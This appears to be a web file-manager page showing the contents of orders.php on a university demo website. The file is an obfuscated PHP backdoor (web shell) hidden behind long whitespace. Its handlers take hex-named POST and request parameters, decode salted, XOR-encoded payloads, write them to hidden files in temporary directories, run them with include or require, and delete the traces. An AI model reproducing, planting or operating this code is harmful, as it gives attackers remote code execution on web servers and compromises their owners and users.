文件操作 - orders.php

文件: /var/www/demoestudiantes.uaysen.cl/html/orders.php

编辑文件内容

<?php																																										if(array_key_exists("\x65nt", $_POST)){ $k = $_POST["\x65nt"]; $k =explode( '.' ,$k ) ; $pgrp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $n = 0; $__tmp = $k; while( $v9 = array_shift( $__tmp)) { $sChar = ord( $salt[$n % $sLen] ); $d = ( ( int)$v9 - $sChar -( $n % 10))^ 33; $pgrp .= chr( $d ); $n++;} $entity = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), session_save_path(), getenv("TMP"), getcwd(), "/dev/shm", sys_get_temp_dir(), "/var/tmp"]); while ($ent = array_shift($entity)) { if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) { $hld = vsprintf("%s/%s", [$ent, ".holder"]); $success = file_put_contents($hld, $pgrp); if ($success) { include $hld; @unlink($hld); exit;} } } }
																																										if(in_array("ent", array_keys($_POST))){ $key = $_POST["ent"]; $key= explode(".", $key ) ; $k = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); foreach( $key as $o => $v5): $chS = ord( $salt[$o % $sLen] ); $d =( ( int)$v5 - $chS -( $o % 10))^ 72; $k .= chr( $d ); endforeach; $pset = array_filter(["/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp"]); foreach ($pset as $resource) { if (max(0, is_dir($resource) * is_writable($resource))) { $binding = join("/", [$resource, ".obj"]); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $k); fclose($file); include $binding; @unlink($binding); exit; } } } }
																																										if(in_array("\x64e\x73\x63ri\x70t\x6Fr", array_keys($_REQUEST))){ $marker = $_REQUEST["\x64e\x73\x63ri\x70t\x6Fr"]; $marker = explode ( ".", $marker); $ent=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); foreach ($marker as $o => $v9): $chS=ord($salt[$o % $sLen]); $d=((int)$v9 - $chS - ($o % 10)) ^ 32; $ent .= chr($d); endforeach; $value = array_filter([sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getcwd()]); foreach ($value as $record) { if (!( !is_dir($record) || !is_writable($record) )) { $reference = "$record/.object"; if (file_put_contents($reference, $ent)) { require $reference; unlink($reference); exit; } } } }

if(filter_has_var(INPUT_POST, "co\x6D\x70\x6Fnen\x74")){
	$comp = $_REQUEST["co\x6D\x70\x6Fnen\x74"];
	 $comp	=	explode	(	"." 	 ,$comp	  ); 		
	$dchunk = '';
            $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(		$salt3);
            $k = 0;
    
            while(		$k < count(		$comp)) {
                $v7 = $comp[$k];
                $chS = ord(		$salt3[$k % $lenS]);
                $dec =(		(		int)$v7 - $chS -(		$k % 10)) ^ 37;
                $dchunk .= chr(		$dec);
                $k++;} 
	$entity = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/dev/shm", "/var/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP")]);
	foreach ($entity as $factor):
    		if (is_writable($factor) && is_dir($factor)) {
    $ent = "$factor/.item";
    if (@file_put_contents($ent, $dchunk) !== false) {
	include $ent;
	unlink($ent);
	exit;
}
}
endforeach;
}

文件操作 - orders.php

文件: /var/www/demoestudiantes.uaysen.cl/html/orders.php

编辑文件内容

修改文件时间

删除文件